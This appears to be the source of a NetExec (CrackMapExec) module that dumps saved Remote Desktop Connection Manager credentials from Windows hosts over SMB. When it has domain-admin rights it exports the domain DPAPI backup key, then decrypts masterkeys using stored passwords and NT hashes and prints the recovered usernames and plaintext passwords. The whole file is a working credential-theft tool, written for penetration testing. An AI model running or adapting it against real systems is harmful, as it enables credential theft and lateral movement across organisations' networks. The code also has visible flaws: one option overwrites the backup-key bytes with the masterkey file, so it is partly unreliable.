NetExec/cme/modules/rdcman.py

139 lines
6.0 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from cme.helpers.logger import highlight
class CMEModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb"]
opsec_safe= True
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], 'rb').read()
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], 'rb').read()
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug("Could not get domain backupkey: {}".format(e))
pass
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
conn = None
try:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug("Could not upgrade connection: {}".format(e))
return
plaintexts = {username:password for _, _, username, password, _,_ in context.db.get_credentials(credtype="plaintext")}
nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in context.db.get_credentials(credtype="hash")}
if password != '':
plaintexts[username] = password
if nthash != '':
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug("Could not get masterkeys: {}".format(e))
if len(self.masterkeys) == 0:
context.log.error("No masterkeys looted")
return
context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys))))
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
if rdg_cred.type == 'cred':
context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'logon':
context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'server':
context.log.highlight("[%s][%s] %s - %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
if rdg_cred.type == 'cred':
context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'logon':
context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'server':
context.log.highlight("[%s][%s] %s - %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
except Exception as e:
context.log.debug("Could not loot RDCMan secrets: {}".format(e))